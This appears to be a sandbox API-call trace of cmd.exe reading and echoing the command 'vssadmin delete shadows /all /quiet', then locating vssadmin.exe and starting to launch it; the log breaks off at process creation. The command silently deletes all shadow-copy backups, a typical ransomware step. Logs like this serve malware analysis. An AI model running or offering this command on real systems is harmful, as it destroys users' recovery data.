	[0165.166] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c58, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1
	[0165.166] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.166] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.166] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.166] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c5a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1
	[0165.166] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.166] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.167] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.167] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c5c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1
	[0165.167] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.167] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.167] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.167] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0165.167] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.167] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.167] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.167] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1
	[0165.167] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.167] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.167] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.167] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0165.167] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.167] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.167] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.167] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0165.167] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.167] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.167] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.167] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0165.167] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.167] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.168] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.168] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0165.168] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.168] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.168] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.168] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1
	[0165.168] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.168] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.168] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.168] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1
	[0165.168] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.168] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.168] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.168] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1
	[0165.168] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.168] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.168] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.168] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0165.168] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.168] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.168] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.168] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0165.168] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.168] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.168] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.169] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0165.169] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.169] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.169] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.169] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1
	[0165.169] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.169] GetFileType (hFile=0x248) returned 0x3
	[0165.169] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.169] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.169] _get_osfhandle (_FileHandle=1) returned 0x254
	[0165.169] GetFileType (hFile=0x254) returned 0x3
	[0165.169] _get_osfhandle (_FileHandle=1) returned 0x254
	[0165.169] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37
	[0165.169] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65b839970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x32a16ffa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesWritten=0x32a16ffa38*=0x24, lpOverlapped=0x0) returned 1
	[0165.169] GetProcessHeap () returned 0x1ff0cc10000
	[0165.169] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x4012) returned 0x1ff0cc18e90
	[0165.169] GetProcessHeap () returned 0x1ff0cc10000
	[0165.169] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc18e90) returned 1
	[0165.170] _wcsicmp (_String1="vssadmin", _String2=")") returned 77
	[0165.170] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16
	[0165.170] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16
	[0165.170] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13
	[0165.170] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13
	[0165.170] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4
	[0165.170] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4
	[0165.170] GetProcessHeap () returned 0x1ff0cc10000
	[0165.170] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0xb0) returned 0x1ff0cc17340
	[0165.171] GetProcessHeap () returned 0x1ff0cc10000
	[0165.171] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x22) returned 0x1ff0cc16490
	[0165.171] GetProcessHeap () returned 0x1ff0cc10000
	[0165.171] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x48) returned 0x1ff0cc175e0
	[0165.172] GetConsoleOutputCP () returned 0x4e3
	[0166.081] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff65b83fbb0 | out: lpCPInfo=0x7ff65b83fbb0) returned 1
	[0166.081] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0166.484] GetConsoleTitleW (in: lpConsoleTitle=0x32a16ff880, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0166.751] malloc (_Size=0xffce) returned 0x1ff0cd30840
	[0166.751] ??_V@YAXPEAX@Z () returned 0x1ff0cd30840
	[0166.751] malloc (_Size=0xffce) returned 0x1ff0cd40820
	[0166.751] ??_V@YAXPEAX@Z () returned 0x1ff0cd40820
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0166.752] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0166.753] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0166.754] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0166.754] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0166.754] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0166.754] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0166.754] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0166.754] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0166.754] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0166.754] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0166.754] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0166.754] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0166.754] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0166.754] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
	[0166.754] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
	[0166.754] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
	[0166.754] ??_V@YAXPEAX@Z () returned 0x1
	[0166.754] GetProcessHeap () returned 0x1ff0cc10000
	[0166.754] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0xffde) returned 0x1ff0cc18e90
	[0166.755] GetProcessHeap () returned 0x1ff0cc10000
	[0166.755] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x5a) returned 0x1ff0cc177c0
	[0166.755] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0166.755] malloc (_Size=0xffce) returned 0x1ff0cd40820
	[0166.755] ??_V@YAXPEAX@Z () returned 0x1ff0cd40820
	[0166.755] GetProcessHeap () returned 0x1ff0cc10000
	[0166.755] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x1ffac) returned 0x1ff0cc2aac0
	[0166.756] SetErrorMode (uMode=0x0) returned 0x0
	[0166.756] SetErrorMode (uMode=0x1) returned 0x0
	[0166.756] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1ff0cc2aad0, lpFilePart=0x32a16ff100 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x32a16ff100*="system32") returned 0x13
	[0166.756] SetErrorMode (uMode=0x0) returned 0x1
	[0166.756] GetProcessHeap () returned 0x1ff0cc10000
	[0166.757] RtlReAllocateHeap (Heap=0x1ff0cc10000, Flags=0x0, Ptr=0x1ff0cc2aac0, Size=0x4a) returned 0x1ff0cc2aac0
	[0166.757] GetProcessHeap () returned 0x1ff0cc10000
	[0166.757] RtlSizeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, MemoryPointer=0x1ff0cc2aac0) returned 0x4a
	[0166.757] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff65b83bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc
	[0166.757] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0166.757] GetProcessHeap () returned 0x1ff0cc10000
	[0166.757] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x1b6) returned 0x1ff0cc17830
	[0166.757] GetProcessHeap () returned 0x1ff0cc10000
	[0166.757] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x35c) returned 0x1ff0cc28e80
	[0166.757] GetProcessHeap () returned 0x1ff0cc10000
	[0166.757] RtlReAllocateHeap (Heap=0x1ff0cc10000, Flags=0x0, Ptr=0x1ff0cc28e80, Size=0x1b8) returned 0x1ff0cc28e80
	[0166.757] GetProcessHeap () returned 0x1ff0cc10000
	[0166.757] RtlSizeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, MemoryPointer=0x1ff0cc28e80) returned 0x1b8
	[0166.757] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff65b83bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0166.757] GetProcessHeap () returned 0x1ff0cc10000
	[0166.757] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0xe8) returned 0x1ff0cc29050
	[0166.757] GetProcessHeap () returned 0x1ff0cc10000
	[0166.757] RtlReAllocateHeap (Heap=0x1ff0cc10000, Flags=0x0, Ptr=0x1ff0cc29050, Size=0x7e) returned 0x1ff0cc29050
	[0166.757] GetProcessHeap () returned 0x1ff0cc10000
	[0166.757] RtlSizeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, MemoryPointer=0x1ff0cc29050) returned 0x7e
	[0166.757] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0166.757] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x32a16fee70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32a16fee70) returned 0x1ff0cc290e0
	[0166.757] FindClose (in: hFindFile=0x1ff0cc290e0 | out: hFindFile=0x1ff0cc290e0) returned 1
	[0166.757] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x32a16fee70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32a16fee70) returned 0xffffffffffffffff
	[0166.758] GetLastError () returned 0x2
	[0166.758] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x32a16fee70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32a16fee70) returned 0x1ff0cc290e0
	[0166.758] FindClose (in: hFindFile=0x1ff0cc290e0 | out: hFindFile=0x1ff0cc290e0) returned 1
	[0166.758] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0166.758] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0166.758] ??_V@YAXPEAX@Z () returned 0x1
	[0166.758] GetConsoleTitleW (in: lpConsoleTitle=0x32a16ff3f0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0166.802] GetProcessHeap () returned 0x1ff0cc10000
	[0166.802] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x21c) returned 0x1ff0cc115f0
	[0166.802] GetConsoleTitleW (in: lpConsoleTitle=0x1ff0cc11600, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0166.983] GetProcessHeap () returned 0x1ff0cc10000
	[0166.983] RtlReAllocateHeap (Heap=0x1ff0cc10000, Flags=0x0, Ptr=0x1ff0cc115f0, Size=0xa4) returned 0x1ff0cc115f0
	[0166.983] GetProcessHeap () returned 0x1ff0cc10000
	[0166.983] RtlSizeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, MemoryPointer=0x1ff0cc115f0) returned 0xa4
	[0166.983] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - vssadmin  delete shadows /all /quiet") returned 1
	[0167.340] GetProcessHeap () returned 0x1ff0cc10000
	[0167.340] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc115f0) returned 1
	[0167.340] InitializeProcThreadAttributeList (in: lpAttributeList=0x32a16ff310, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x32a16ff200 | out: lpAttributeList=0x32a16ff310, lpSize=0x32a16ff200) returned 1
	[0167.340] UpdateProcThreadAttribute (in: lpAttributeList=0x32a16ff310, dwFlags=0x0, Attribute=0x60001, lpValue=0x32a16ff1ec, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x32a16ff310, lpPreviousValue=0x0) returned 1
